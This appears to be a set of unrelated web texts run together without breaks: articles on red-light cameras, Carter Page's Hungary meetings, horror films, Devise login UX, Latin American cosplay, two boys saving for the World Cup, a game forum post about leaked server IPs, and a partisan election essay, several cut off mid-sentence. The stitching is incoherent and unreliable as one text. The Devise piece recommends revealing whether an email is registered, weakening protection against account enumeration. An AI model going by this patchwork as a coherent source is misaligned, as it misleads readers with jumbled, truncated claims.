And if a meteor or a piece of space debris were to crash through the swarm? No problem — the spacecraft would be so small and so cheap that the swarm would be flanked by idle replacements, which would then be told by the other spacecraft where to go to fill in the gaps.Ticket camera corporations like Redflex and American Traffic Solutions are great at extracting the most money possible from drivers in the cities that they partner with. Unfortunately for them — and fortunately for anyone who values justice — their biggest revenue-producing tricks are starting to be exposed and gradually shut down.
Here’s how cities ensure that they scam their residents out of the most money possible — straight out of the camera corporation playbook:
1) Make sure you let the camera company choose where to place the cameras.
Ticket camera corporations are often given carte blanche when it comes to choosing where their cameras are installed. The public is told that the cameras will be placed at the most dangerous intersections, but the ticket camera company has no interest in improving safety. They do have an interest in revenue though, so the cameras always seem to end up at intersections with the most traffic. If an intersection is dangerous, but has very little traffic, the ticket camera corporation will simply refuse to place a camera there.
This is very rarely publicized because no one directly involved (the city and the camera corporation) has any incentive to bring it up. Letting a private corporation make traffic safety decisions looks bad for the city and the ticket camera corporation doesn’t want to jeopardize the extra profits.
Unless the local media is paying attention, the citizens are left completely in the dark — or worse, they only hear the propaganda pushed out by the city and the ticket camera company.
2) Shorten yellow light times or take advantage of existing short yellow lights.
Yellow light timing is often the key to reducing red light violations. According to one study, an increase of 0.5 to 1.5 seconds in yellow-light duration will decrease the frequency of red-light running by at least 50 percent. There are numerous studies showing similar results.
However, the ticket camera corporations know that high violation rates are the key to making money from red light cameras so they either shorten yellow light times or make sure to place the cameras at intersections where the yellow light time is already too short.
The city goes along with it either out of ignorance or because they want the extra money to pad their budget.
Over the past couple years, through the efforts of the National Motorists Association and the media, this trick has been discovered by the public and they have demanded changes.
For example, thanks to citizen outrage in Georgia, there was a law passed that forced a one-second increase in the duration of the yellow warning light at intersections with red light cameras. This resulted in huge drops in red light violations and prompted several cities to disband their ticket camera programs.
3) Strictly enforce right turn on red violations.
After the yellow light timing trick was exposed, the camera corporations started to focus more on another popular way to drive up revenue at ticket camera intersections — right-turn-on-red violations. Cities with ticket cameras sell the cameras to the public by explaining that they’ll help prevent right-angle crashes. However, the majority of tickets given out inevitably end up being for minor right-turn-on-red violations.
According to the LA Times, Los Angeles officials estimated that 80% of the red light camera tickets are for right turn on red. And according to the Chicago Daily Herald, right turn on red violations have accounted for 90% of the tickets generated in several Illinois communities. These tickets are often given to drivers who actually stopped safely but were inches over the line.
Right turn on red violations have been proven to have very little effect on driver safety. In fact, a review of US Department of Transportation statistics shows that an average motorist could drive a billion miles — the distance from Earth to Jupiter and back — before being involved in an accident that resulted from a motorist making a rolling stop on a right-hand turn.
The chorus of drivers who are outraged by this camera corporation tactic is growing louder and many ticket camera cities are considering dropping right turn on red violations to appease the public.
The bottom line is that if cities installed cameras only at the most dangerous intersections, set appropriate yellow light times, and de-emphasized right-turn-on-red violations, their ticket camera program wouldn’t make enough money to survive. The cities know this and the camera corporations know this and that’s why they do the opposite.
But that’s only if their constituents let them. In each city, it’s ultimately up to the citizens to stand up for their interests and say no to the cameras.Travels by Trump campaign adviser Carter Page to meet with senior officials in Hungary during the 2016 presidential election are being closely examined by congressional investigators, given the increasingly close ties between Hungary and Russia and the role of the country as a hub for Russian intelligence activity. The Hungarian prime minister was the first foreign leader to endorse Donald Trump’s candidacy.
Though characterized as a low-level volunteer, Page held high-level foreign policy meetings with Hungarian officials before the 2016 presidential election, ABC News has learned.
The meetings included a 45-minute session in September 2016 with Jeno Megyesy, who is a close adviser to Hungarian Prime Minister Viktor Orban and focuses on relations with the United States, at his office in Budapest, where Page presented himself as a member of then-candidate Trump’s foreign policy team.
Megyesy confirmed for ABC News in an interview Friday that he met with Page at the request of Reka Szemerkenyi, the Hungarian ambassador to the United States. Megyesy said he did most of the talking at the meeting because Page did not appear to be well versed on the issues facing the region.
“I had the impression he didn’t deal with these issues on a regular basis,” Megyesy said.
Page’s visit to Budapest drew notice from members of the House Intelligence Committee investigating Russian interference in the 2016 election. Orban, who was the first world leader to endorse then-candidate Trump, has become increasingly aligned with Russian President Vladamir Putin, and experts consider Budapest a hub for Russian intelligence activity.
When questioned by Rep. Adam Schiff of California, the ranking Democrat on the committee, during a hearing in early November, however, Page had only hazy memories of the trip. He said he remembered seeing a Hungarian official but could not recall who.
“You don’t remember the names of anyone you met with or what their positions were in the Hungarian government?” Schiff asked, according to a transcript of the closed-door session.
“Not right now,” Page replied. “I can’t recall.”
Page told the members he could only barely remember the visit, saying “the detailed specifics of that are a distant memory.”
But Schiff was incredulous. “You went all the way to Budapest, and you can’t remember who you met with and what you hoped to accomplish?” he asked.
According to Megyesy, he spoke to Page in his office in the ornate parliament building, a sprawling landmark along the Danube River that draws legions of tourists. Their conversation covered a range of topics, Megyesy said, including the recent strain in relations between the U.S. and Hungary.
“I walked him through the politics and the issues with respect to Hungary,” Megyesy said.
Page held another meeting in Budapest, this one with Szemerkenyi, who was also in the city at the time, for coffee at a hotel, according to one person familiar with the meeting. Page initially met Szemerkenyi at the Republican National Convention in Cleveland. The two met a third time in October at an embassy function in Washington, she said.
“When Mr. Page went to Budapest, I was on a scheduled visit back home and met with him for courtesy meetings,” Szemerkenyi told ABC News in a written statement. “Our conversations were friendly, discussing only general foreign policy issues.”
The infamous 35-page dossier detailing unverified intelligence gathered by a former British spy hired to dig up damaging information on then-candidate Trump contains allegations that Page held secret meetings with Russian officials during a visit to Moscow in July. Page has flatly denied the dossier’s assertion and frequently derides the file as the “dodgy dossier.”
Megyesy said no outsiders attended his meeting with Page, but when Schiff asked Page directly if he met with any Russians during his visit to Hungary, his answer was a bit more vague.
“There may have been one Russian person passing through there,” Page responded. “But I have no recollection because it was totally immaterial and nothing serious was discussed.”Something about Halloween just makes you want to be scared. It’s the one time of year when it feels truly fitting. And nowhere is that more easy to accomplish than with a horror movie.
Something about Halloween just makes you want to be scared. It’s the one time of year when it feels truly fitting. And nowhere is that more easy to accomplish than with a horror movie. Whether it’s one about vampires, zombies, werewolves, ghosts, witches, or murderers, there is never a shortage of films to see.
Horror has been around since the start of film in the 1890’s, with many short movies by the director Georges Méliès focusing on the subject. Many of these are still just as frightening today as they must have been when they first came out. Some great examples are the vampire film Nosferatu, or Lon Chaney’s The Phantom of the Opera. Without the use of sound, these films had to probe into our minds in other ways, usually with the use of obscure camera angles, low lighting, and elaborate set designs.
Later on, with the invention of sound and more advanced technology, horror was able to open into different avenues, though it was still many of these same elements that scared audiences. Some great examples from the early sound era are Boris Karloff’s Frankenstein or Bela Lugosi’s Dracula. As the decades wore on, it was often one film that gave life to new genres, such as Alfred Hitchcock’s Psycho, which is known as the first slasher, or George A. Romero’s Night of the Living Dead, which popularized the zombie movie.
And now, more than 100 years later, horror is still just as popular as ever, with many great films emerging around this time. And I’m here to help you choose which ones to watch this year. So turn up the volume, turn off the lights, and get in the mood for the most g(l)orious holiday with these ten movies!
Day 1: Shadow of the Vampire (2000)
We’ll start with an often overlooked vampire film from 2000, called Shadow of the Vampire. This movie relies on a very clever premise: What if Max Schreck, who played the title character in the 1922 classic Nosferatu, was actually a vampire? It’s not too hard to believe if you have seen the movie, or even just a picture of the character. From the description, then, it appears that the film is essentially a horror parody. Yet, surprisingly, Shadow of the Vampire is an excellent vampire movie in its own right.
F.W. Murneau is played by John Malkovich, who does his best at portraying the legendary director of the original Nosferatu. But the real star of this movie is Willem Dafoe, who plays Schreck. From the ghostly pale skin, to the pointy ears, to the eerily long fingernails, which often snake through the air in front of him as he walks; the recreation is so uncanny that it is terrifying. He looked and acted so similar to the character that you may not even notice when they substitute frames from the actual film into the mix.
Shadow of the Vampire is not only an entertaining homage to the early horror films, it is also a great movie about the process of filmmaking. To what lengths will a director go to get that perfect shot, or that precise performance? Well, according to this film, sometimes a little too far. But I’ve already said too much.
Day 2: The House of the Devil (2009)
It’s not hard to predict what’s going to happen in Ti West’s The House of the Devil. A college girl is short of cash to pay her rent, and so is desperate to earn money any way that she can. And that includes taking a job babysitting an old lady at a mysterious country house in the middle of nowhere. Something about that description just spells disaster.
The House of the Devil is one of those slow-burning thrillers, which plays with your mind in very subtle, yet effective ways. Closeups of everyday activities such as water pouring down a drain or a reflection from a window are for some reason unnerving. You never quite know when something is going to happen, yet you always feel on edge, expecting the worst.
Although premiering in 2009, The House of the Devil is set in the 1970’s. And it is not only the clothing or the hairstyles that match that time period, it is also the entire style of the film, from the aspect ratio, to the camera lens, to the background music. And just wait until you see what happens at the end.
Day 3: Suspiria (1977)
And now let’s actually go back, to 1977, when Dario Argento created this horror masterpiece. Suspiria takes place at a German dance academy, where an American girl has gone to study ballet. It is clear at the start, though, that there is something seriously bad going on at this school.
Dazzling neon colors permeate nearly every set of Suspiria, from the dormitories, to the classrooms, to the many hallways of the dance academy. It is a striking effect, which is especially effective when coupled with the excessively noisy musical theme by the band Goblin. There is rarely a quiet moment to be had in this movie.
As can be seen above, it is also clear that this movie does not shy away from blood and gore. In many horror films, when the killer is about to strike, you see only a shadow or a closeup of a shocked face before fading out. But not here. Why look away when we can instead witness the entire bloody mess? Well, at least that’s Dario Argento’s opinion. Some people, especially those with a faint heart, may think otherwise.
Day 4: The Uninvited (1944)
It’s hard to choose from the many horror films of the first half of the 20th century, but The Uninvited is a great pick, since it is perhaps one of the first effectively scary movies about ghosts. The story concerns a brother and sister, who come across a grand empty house overlooking the ocean while on vacation in New England. Feeling a certain allure to the house, they decide to buy it immediately. But little do they know just why the house was abandoned in the first place.
By today’s standards, The Uninvited is relatively tame. There are no jump scares, sophisticated special effects, or gore. Instead, the film uses a distinctive style to bring across its tone, such as the soft sounds of piano music through empty hallways, the dark casting of shadows through open windows, or the hypnotic crashing of waves on a beach. Just by making a slight difference in camera angle or lighting, a film can suddenly become unsettling, and The Uninvited does this with perfection.
Perhaps another reason to watch The Uninvited is because both Martin Scorsese and Guillermo del Toro included it among their favorite horror films. And those are two people of whom I trust their judgment.
Day 5: The Devil’s Backbone (2001)
And speaking of Guillermo del Toro, his own film The Devil’s Backbone is also a must-see. A non-traditional ghost story, del Toro’s film takes place in a home for orphan boys in Spain during the time of the Spanish Civil War. The home is haunted, though, by an apparition of a young boy who may have died there.
What distinguishes The Devil’s Backbone is that it is not primarily meant to scare or frighten you, and is actually an inspired story about a tough time for Spain in the first half of the 20th century. For this reason, it bears much similarity to del Toro’s other film Pan’s Labyrinth which is also part-fantasy, part-historical (also worth a watch). But when you do see the ghost, pictured above, it does actually get quite spine-tingling. The eerie musical theme, impressive special effects, and pale white makeup of the boy combine to create a very spooky effect.
Many ghost movies have loose, nonsensical plots, which only exist in order to throw out jump scares or creep you out. The Devil’s Backbone, though, has much more depth than that. It is not only great horror, but a fantastic movie overall.
Day 6: Fright Night (1985)
An 80’s classic, Fright Night set the standard for campy fun horror. It tells the story of a high school kid who starts to suspect his new neighbor of being a vampire, and then tries to stop him, which does not make the creature particularly happy. To assist him, the kid recruits an actor who works on vampire movies, although that doesn’t necessarily mean that he knows how to do it in real life.
Although vampire movies have been ruined in recent years (I’m looking at you, Twilight), it is clear that they were once a great horror genre. Fright Night has everything you would want out of a vampire film: the mania, the blood, the destructiveness, and the humor. Though there are some grotesque scenes, there’s never really a moment when you want to look away, as everything is so over the top that you want to laugh instead of be grossed out. Plus, the film must have one of the longest kill-the-bad-guy scenes in history.
If looking for a more laid back, low key kind of a night, especially after seeing some of the other movies on this list, Fright Night is just what you need. It is truly a fun time.
Day 7: The Thing (1982)
And while we’re in the 80’s, lets go to one of my favorite science fiction horrors: John Carpenter’s The Thing. It is a classic story of a monster taking over a group in an isolated area. In this case, it is a group of researchers sheltered at a remote base in Antarctica. They come into contact with an alien that has the ability to take on the form of any living thing.
John Carpenter’s film definitely steps up the notch on the gross factor, as you may be able to tell from the picture above. It makes the original 1950’s version look like an episode of Sesame Street. Not only that, though, this film also touches on classic fears of paranoia, since nobody at the base knows who is still human, or who is just an alien dressed up like one. And when they do find out, it’s usually not pretty. There is also the fear of being trapped and helpless, since the researchers have no contact with the outside world, and are forced to deal with this mess on their own.
The Thing knows just how to shock and provoke its viewers, and will surprise you even if you suspect that something bad is coming. It is a wild, entertaining ride of a movie. Just remember to wear your seat belt.
Day 8: Session 9 (2001)
So let’s step away from monsters or creatures for a minute, and instead go to Session 9, which is more of a psychological horror than anything else. The story concerns an asbestos removal crew who are hired to work on an abandoned insane asylum. While there, though, strange things start to happen to each of them, as the old place starts to get in their head.
Session 9 is far from a traditional haunted house film, even though it may seem like one from the start. As the negative energy of the place, or perhaps just the stress of the job, gets through to each crew member, they are each affected in different, often obscure ways. One of them starts to obsess over a series of old tapes that he finds, which are old recordings of a doctor with his patients. Just listening to these conversations gave me more goosebumps than anything else, especially once they get to session 9, which is where the movie gets its name.
Just as the insane asylum gets through to each of the asbestos removal crew, Session 9 may get into your head as well, leaving an indelible impression. Rarely does a film get this scary without much happening at all. It sets a mood from the very beginning, and holds you in its grasp.
Day 9: 28 Days Later (2002)
28 Days Later is one of the more memorable entries in the now rather large array of zombie movies, mainly due to its unique visual style. The story, taking place in London, concerns a man that has just awaken from a coma, and soon discovers that every human being around him is gone, with the exception of the people that try to eat him. It is soon made pretty clear: something very bad has happened.
28 Days Later is a film of extremes. In this world, there is only one rule: survive. You can become a zombie from just being in contact with someone that is infected, rather than only being bitten as is the case in other zombie movies, and the transformation takes place in a matter of seconds. So, a quick reaction time is key. These are also some fast, marathon-running zombies, not the wimpy staggering kind.
The film is also very well directed by Danny Boyle, who is known for his visual flair. He frames the landscape of an abandoned London, making it beautiful and sad as you think of all the people that were lost. Don’t worry, though, there is also plenty of grotesque zombie action, which is about as far from beautiful as you can get.
Day 10: You’re Next (2011)
One of the more entertaining slasher films of recent years, You’re Next is probably the best way to close out your 10 days of Halloween. The story concerns a family that has recently reunited at a vacation house. All seems to be going well, when suddenly a group of people dressed in various animal masks come storming in, killing as they please. Let’s just say it does not end happy for everyone.
You’re Next doesn’t have much of a unique story, as it may sound like every other slasher film out there. But what it does differently is that it doesn’t take itself too seriously. Lots of slashers like to concern themselves with just grossing out or scaring its audience, but this one steps it up even further. There is still plenty of blood, but it flies with reckless abandon, and, along with its adrenaline-pumping soundtrack, keeps you far from bored. What probably distinguishes You’re Next the most is that the usual protagonist heroine is not a brainless, screaming idiot. Far from it, actually. She definitely knows how to take care of herself, and it doesn’t go over very well for the bad guys as a result.
This is a film to be enjoyed with a large group, as it definitely provokes both laughter and cheers, in addition to scares. If other more recent slasher movies would take a note, then maybe they would know how to have just as much fun. It is really a crazy good time.
Well that just about concludes my list of 10 days of Halloween. As I mentioned earlier, horror is one of the most diverse genres of movies, ranging from monster movies to slashers to those that are more psychological in nature. As such, I tried to include one movie from nearly every subgenre.
So now I’d like to hear from you. What are some of your favorite horror films? Which movies would you consider to be the most entertaining, or the most frightening? Sound off in the comments below!
(top image source: Nosferatu – Film Arts Guild)
Opinions expressed in our articles are those of the authors and not of the Film Inquiry magazine.However, more often than not, various implementations trade-off good UX for security assumptions that are out of place.
It goes without saying that good login and registration forms are essential to providing a great user experience.
Let's take a look at 3 easy steps to improve your authentication UX and comment on how to tweak the defaults set in Devise, the most popular out-of-the-box authentication solution in Rails.
Get rid of the ambiguous login failure message
Usually, login forms show the same error message upon a failed login attempt, regardless of whether you've mistyped the email or the password:
Invalid email address/password combination.
I’ve personally changed multiple emails through the last couple of years so sometimes I don’t know which email I’ve used on a certain service (mostly on services I haven’t used for some time or don’t have them in my LastPass vault yet). The process of getting the right email and password combination can get downright irritating, so oftentimes I resort to trying to send myself a password reset email to the right email address.
A better approach for websites would be to say which of the two is actually wrong:
An account with the given email address does not exist.
The given password mismatches the one stored for that particular user.
If the security skeptic inside you now thinks this is a obvious security issue since the internet villains could easily find out which emails are in use and which are not, you’re somewhat wrong:
You probably have a user registration form, so it's really easy to find out if an email is in use by trying to register with that email address.
If you still think that this approach is wrong, some of the best-known sites in the world use it - check out how Google, Netflix, Facebook, Pinterest or Eventbrite handle invalid login attempts.
Devise Implementation
Devise hands out an easy way to tweak these messages with the I18n internationalization and localization framework, and it’s a configurable YAML file:
en : devise : failure : not_found_in_database : We couldn’t find an account for that email address. invalid : Sorry, your password was incorrect. Please double-check your password.
It’s good practice to link back to the registration form after an unsuccessful login occurs due to the email not existing in the database.
Ditch the password confirmation field
Your user conversion rate is proportional to the simplicity of your registration form. Some of the simplest registration forms (excluding social logins with Facebook, Twitter, etc.) only contain three fields: an email, password, and a password confirmation field.
Can it get any simpler than that? Sure it can, ditch the password confirmation.
When was the last time your password and password confirmation field mismatched? I think I never actually got that error. And if your users manage to mistype their password, it’s easy for them to reset their password since Devise offers that functionality out-of-the-box.
Devise Implementation
This one’s even easier to accomplish - just remove the password confirmation field from your HTML form ( views/devise/registration/new.html.erb ) and Devise will automatically ignore it since it’s nil (unlike when you submit a blank confirmation field through the form, then it’s an empty string).
Show if the email exists when resetting your user's passwords
Regardless of whether the email address exists or not, some websites show the same message after requesting a password reset:
An email with a password reset link has been sent to you.
The security implication behind this ambiguous message is that we don't want to show nosy people whether an email is used on our website or not. The reason to ditch this behavior is the same as before - people can still use the registration form to find which emails were already used.
Devise Implementation
By default, Devise shows whether the email address exists or not, so there's nothing to do here.
Important Note
Showing whether an email address exists on login and forgot password forms isn't a security risk if you have a registration form showing the exact same thing. However, you might have an invitation-based system and no registration form. In that case, you're not exposing the user's email, so the same security assumption doesn't imply.
Conclusion
If you want to prevent malicious attacks, don't try doing it through ambiguous error messages. Instead, use 2FA (devise-two-factor) or throttle your requests with Rack Attack.
These are obviously three easy wins, if you've got any similar ones up your sleeve, feel free to share your comments below.Cosplay (costume play), is a way of expression in which participants use costumes and accessories to represent their favorite characters, usually from manga, anime or video games. Cosplay has followers all over the world and Latin America is not the exception.
The passion of its followers (Cosplayers) is reflected not only in their elaborate costumes, but also in their interest in promoting Cosplay and to share their own adventures through personal blogs, Facebook, Flickr and Twitter.
Cosplay goes beyond dressing up in a costume. In the website Imperio Anime [es] from Costa Rica, Miroku explains what Cosplay is [es] and what it entails, clarifying:
Aunque no todo es vestirse; no. No se puede olvidar la parte ‘play’ de CosPLAY.
Gran parte de todo esto es pretender ser ese personaje al que se esté interpretando. Esto también es muy importante, además de divertido. Aunque solamente sea para una foto, o durante todo el evento o fiesta, o incluso para alguna dramatización; sin olvidar lo entretenido que puede resultar.
But it's not just about dressing up; no. We cannot forget the “play” part of CosPLAY.
A big part of all this is to pretend to be the character that is being performed. This also is very important, besides being fun. Even if it is just for a photo, or during all the event or party, or even for just a dramatization; without forgetting how fun it can be.
The blog Cosplay Ecuador Elite [es] promotes Cosplay and interviews cosplayers from all over the world. The author has interviewed cosplayers from Italy, France, Mexico, Argentina, Panama, Peru and Chile, among others. In these interviews one can learn more about the concept, the work involved, the motivation of the cosplayers, their family's support and how complicated it becomes to store all those cosplays (costumes) when the collection is increasing.
The blogs and websites dedicated to Cosplay also approach some issues within the community.
In Costa Rica, Crys from the blog Cosplay de Costa Rica [es], wrote last year about the lack of humility that sometimes is shown by some cosplayers:
Ser un cosplayer de calidad, es un trabajo duro y que requiere mucho esfuerzo, nadie lo puede negar, pero últimamente algunos de estos cosplayer han tomado el titulo de *superiores* a otros cosplayer que no son tan buenos o si lo son pero simplemente quieren tratar de hacerse los importantes ante todos.
Being a quality cosplayer, is hard work and it requires a lot of effort, nobody can deny it, but lately there are some cosplayers that have assumed the title of “superiors” to other cosplayers who are not as good or they may be, but simply they want to make themselves more important than everybody else.
However the author clarifies that:
Hay muchos (por dicha son más) que son totalmente diferente; siempre se les ve escribiendo en los foros procurando hacer más emocionante el tiempo de espera de los aficionados que lo leen y anhelan con ansias los eventos, nunca niegan nada a nadie y lo mejor saben dar cumplidos a los otros participantes para así motivarlos más; creo que esa es la actitud que se debe tener ante las personas, que de cierta forma admiran el trabajo que los cosplayer realizan y mostrarce siempre agradecido ante ellos…
Nada Cuesta un Simple Gracias!! o sonreir ante los demas…
There are many (fortunately they are the majority) that are totally different; they are always writing in the forums trying to make the expectation of their followers more exciting and they wait anxiously for the events, they never deny anything to anybody and the best part is that they know to give compliments to other participants in order to motivate them; I think that is the right attitude that must be shown to other people, to those that in some way admire the work that the cosplayers do and always showing gratitude to them…
It is not that hard to give just a Simple Thank You!! or to smile at others…
Through their blogs, some cosplayers share the techniques used to make their costumes. In the blog Panama Cosplay Tutorials [es], the author explains in his posts how he accomplishes some elements in his cosplays. The last entry was for “Dr. Stein from Soul Eater” [es], where it is easy to appreciate the ingenuity used by cosplayers to get the effects that they are looking for. For example, Kohaku (nickname of the blog's author) explains how he built the head of the screw that this character uses:
Para la cabeza del tornillo yo use un plato de corn flakes de mi casa XD porque se ajustaba al tamaño de mi cabeza, les recomiendo que usen algo que no los haga verse desproporcionados, pueden sacarlos de una lamina de cielo raso o foam como les parezca.
For the head of the screw I used a cereal bowl [as a template] from my house XD because the size fit my head, I recommend you use something that doesn't make you look disproportionate, you can build it from a drop ceiling tile or foam, whichever works for you.
Also from Panama, the blogs Konekotan [es] and Alatariel's Cosplay [es] [en] write about Cosplay and publish photos, videos, tips and events.
The blogs Bolivia Cosplay [es] and Myo Blog [es] also share photos that show Cosplay activities and events in Bolivia.Two soccer-loving Sechelt boys took on a weekly job for four years to earn their way to the 2014 FIFA World Cup in Brazil — and in July they reached their goal.
“It was like we’d lost a bunch of weight from our shoulders, like we’d done this huge goal,” said 13-year-old Luiz Seda.
article continues below
Luiz and Leandro Seda knew they wanted to go to the 2014 World Cup back in 2010, when Luiz was 9 and Leandro was 7.
Both the brothers were avid soccer players, huge soccer fans, and they had family back in Brazil they wanted to see again.
Vowing to pay their own way, the boys took on a paper route with Coast Reporter in 2010.
After getting comfortable with the job, Luiz and Leandro soon took on another route, delivering a total of 217 papers each week with their mother Rosa’s help.
The job often took the boys away from friends and after-school activities, but they were committed to doing it well and reaching their goal.
Their dedication shone through, and some people started to leave tips for the Seda boys.
Luiz and Leandro saved every penny of the money they made from their paper route pay cheques, but used their tips to buy things like iPods and video games over the years.
When the time came for the FIFA World Cup in Brazil, Luiz and Leandro had saved nearly $5,000 through their weekly work.
It was enough to pay for their airfare and their mother’s, as well as buy tickets to two World Cup games for the trio. They were able to see Greece versus the Ivory Coast and Germany versus Ghana.
“The stadium had capacity for 60,000 to 70,000 and it was full,” Luiz said, noting there was lots of chanting and representation from fans around the world, which was exciting.
“The Germans just wouldn’t stop chanting. The people from Ghana, they had their instruments. The Greeks came in Sparta outfits, so it was really neat.”
Rosa said the stadium was beautiful and noted she watched her quieter son Leandro’s “jaw just drop” at the sight of it all.
The trio visited family and friends in Brazil before returning home with a new goal in mind.
“Now we’re saving for the 2018 World Cup in Russia,” Luiz said, adding this time his grandma is planning to join them so the boys may pay some of her way, too.
Rosa said she’s very proud of her sons’ ability to save and their work ethic, which she knows isn’t the norm for most kids their age.
Luiz is proud too.
“I knew that if I just kept doing it, I could get there,” he said. He encourages other kids to “just pick a goal and work towards it.”So apparently someone got the ip’s of all of the servers and posted them in the ptrain general chat. Not sure if they are real but if they are, they were all released to the public from that discord so people could really be stressing the hell out of every server. here is the original chat (I Crossed the full IP’s out). Also a user by the name of ‘Ryangohard’ Says that
“Guys I have just discovered some new information regarding the server crashing. There has been a new group on discord formed, whose main goal is the destroy the game. They wish to do this by keeping all the servers down permanentely They are currently looking for recruits. To fix this, we need Deca to respond immediately. Currently there is around 7 members. With every additional member, another server will go down. Everyone needs to unite to stop this madness.”
Here is the imgur - http://imgur.com/a/lHAno
If u know anything about what is going on please report it to deca because this is something that affects us all. ThanksTrue Blood was Sunday’s top cable program with a 1.7, down from last week’s 1.8 adults 18-49 rating. The Strain and Keeping Up With the Kardashians tied for second with |
to dismantle much of the federal government, the Republicans hounded Clinton, finally impeaching him in the House for lying about an extramarital affair. Though Clinton survived a humiliating Senate trial, the Republicans were optimistic about regaining total control of Washington in Election 2000. The Republican presidential nominee, Texas Gov. George W. Bush, was a thinly qualified scion of a political royal family. Opposite him was Clinton’s wonky Vice President Al Gore, who was an expert on the complex workings of government and who had a particular passion for the environment, alternative energy and the pressing need to address global warming. In my view, Election 2000 may have represented the last real chance for the world to turn back from environmental devastation and from the dangerous political instability that will follow. In 2000, the future of the planet was truly in the balance – and Gore, despite his lack of charisma, may have been the best person for the job, at least the best that modern U.S. politics could produce. However, much of the Left viewed Gore as an unacceptable centrist. A number of prominent progressives also rejected my warnings about the dangers posed by Bush, particularly my concern that he would restore the neoconservatives to positions of power over foreign policy. I was especially alarmed by Bush’s choice of Dick Cheney to be his vice presidential running mate. I had covered Cheney for years when he was in Congress and knew him to be a rigid ideologue who was much closer philosophically to the neocons than was generally understood. Bush Illusions At the time, most political analysts of all stripes viewed Bush as an Establishment Republican. They accepted his self-description as “a compassionate conservative” and thought he would govern with his father's moderation, surrounded by his father’s old foreign policy hands, the likes of Brent Scowcroft and James Baker. I was assured by several left-wing political analysts that I was overly alarmed at the prospects of a neocon revival if Bush won. This widely held viewpoint fed into the notion on the Left that Bush would not be much different from Gore and that Election 2000, therefore, represented a good opportunity to “teach the Democrats a lesson” by showing them that they couldn’t “take the Left for granted.” So, many progressives decided that they would back Green Party candidate Ralph Nader. To rally more support on the Left, Nader’s campaign touted what may be one of the biggest – and most dangerous – lies ever told in American politics, that “there’s not a dime worth of difference” between George W. Bush and Al Gore. Nader succeeded not only in siphoning off votes from Gore but his attacks on the Vice President – often echoing similar attack lines from the Republicans – frustrated the Gore campaign’s efforts to gain momentum. A Stolen Election Though Gore still managed to outpoll Bush by about a half million votes nationwide and almost surely would have beaten Bush in the key state of Florida if all legally cast votes were counted, Bush used a combination of clever lawyering and hardball politics to seize the White House. [For details, see Neck Deep.] To this day, very few Nader supporters will admit that they contributed to Bush’s tainted victory, although it should be obvious that Nader’s votes in Florida – if most would have gone to Gore – would have put the election too far out of reach for Bush to steal. A Gore presidency also would have taken the country in a far different direction. Most significantly, he might have made significant progress in getting the United States to face up to the crisis of global warming, an existential threat to mankind that Bush studiously ignored. It may be a bitter irony that the one major political accomplishment of America’s Green Party will be that it helped condemn the world to environmental disaster.
Whether Nader backers acknowledge their complicity or not, the hard truth is that the American Left – in this attempt to “teach the Democrats a lesson” – contributed to the dangerous ascension of George W. Bush to power. Besides his inaction on global warming, Bush restored the neocons to key positions throughout the foreign policy bureaucracy and, after 9/11, adopted their aggressive strategy for seeking violent “regime change” in Muslim countries considered hostile to Israel. As a result of Bush’s “global war on terror” and his invasions of Afghanistan and Iraq, hundreds of thousands have died and many more – including many children and other noncombatants – have lost limbs and suffered maiming. Bush also trampled on traditional constitutional and legal principles with his assertion of unlimited presidential powers that included his secret wiretapping of citizens, his waiving of habeas corpus rights to a fair trial, and his torturing prisoners held in clandestine prisons. At home, Bush’s tax cuts mostly for the rich and his further deregulation of corporations contributed to a bubble-and-bust economy that – by the end of his eight years in office – had devastated the American middle class, which had grown during the Clinton years but was rapidly shrinking by late 2008 and early 2009 with the disappearance of millions of jobs. Brief Reunion Because of the alarm over the Bush administration, the Left and the governing Democrats found common ground in Election 2006 and 2008. In Election 2008, many progressives set aside their concerns about Barack Obama’s accommodating style of politics and rallied behind the first major-party African-American candidate for U.S. president. Obama’s historic victory in November 2008 touched many progressives as it did other Americans, though some on the Left resisted any sentimentality. On Election Night, I encountered Ralph Nader at the make-shift studio in downtown Washington where TheRealNews.com was handling its election coverage. He had run again as an independent candidate but had gotten far fewer votes than at his high point in 2000. Nader was attacking Obama and the governing Democrats, making clear that he would continue opposing them unless they turned to him for advice and direction. He said that if they didn’t, he would be like “the canary in the coal mine,” an indication that Obama was another centrist sell-out. No doubt, many progressives believe that Nader’s comment was prescient. The Obama administration did disappoint many of them by making too many concessions to the Republicans in a quixotic search for bipartisanship. With the Republicans moving almost in lockstep against Obama’s initiatives -- and resorting to Senate filibusters at an unprecedented rate -- Obama and the Democrats did scale back their proposals, like the job stimulus plan, and they sacrificed key features, such as the public option for health insurance, in their bid for legislative accomplishments. Obama also came in for progressive criticism for refusing to hold Bush and his subordinates accountable for torture and other war crimes, another example of governing Democrats shying away from a divisive struggle that they might deem not "good for the country." Though Obama did begin winding down the Iraq War as he had promised, he acquiesced to the insistence of Bush holdovers at the Pentagon, including Gen. David Petraeus and Defense Secretary Robert Gates, for an escalation of the war in Afghanistan. [See Consortiumnews.com's "How Bush Holdovers Trapped Obama on Afghan War."] The Right’s Narrative While many on the Left grumbled about Obama’s centrist approach, the Right sold millions of Americans on an entirely different narrative, that Obama was a closet socialist who was taking over the economy and wasting tax dollars on useless jobs programs. Again, the Right’s media dominance, contrasted with the Left’s media weakness, has played a key role in convincing a large segment of the population that whatever slur is directed at Obama and the Democrats is true. This media dynamic, combined with the U.S. Supreme Court’s ruling permitting unlimited corporate spending on political ads, has thrown the Democrats profoundly on the defensive, with many of them running away from their votes on health care and stimulus spending. To compound this crisis facing the Democrats, many on the American Left have chosen this moment to repeat the experiences of 1968, 1980, 1994 and 2000 – determined to “teach the Democrats a lesson” by sitting out the election or voting for third parties. There is little indication that these progressives have learned anything from the outcomes of those four earlier elections. Nobody seems to be asking the pertinent question: "Has that technique ever worked?" Instead of the Left’s goal of pulling the governing Democrats and the American public to the left, the undeniable direction of U.S. politics (and media) has been to the right. After 42 years, the Republicans are far more right-wing than Richard Nixon (and arguably even crazier), and most governing Democrats are far more centrist than the likes of Tip O’Neill, Lyndon Johnson and the old Democratic lions of that earlier era. In other words, the Left’s notion of “teaching the Democrats a lesson” is a myth. It may make some progressives feel morally pure, but it doesn’t work. And, the results of the last 42 years should make clear that the idea is not only folly but it is dangerous. If the pundits are correct and the Democrats go down to a crushing defeat on Nov. 2, the result will not be more progressive legislation but even less; not more spending on green jobs and a rebuilt infrastructure but more neglect; not a strengthening of the middle class but even starker financial inequities and enhanced corporate power; not a reordering of priorities away from the military-industrial complex but more tough-guy foreign policies. Indeed, some of the more extreme Tea Party-backed candidates have made clear that their ultimate goal is the total repeal of 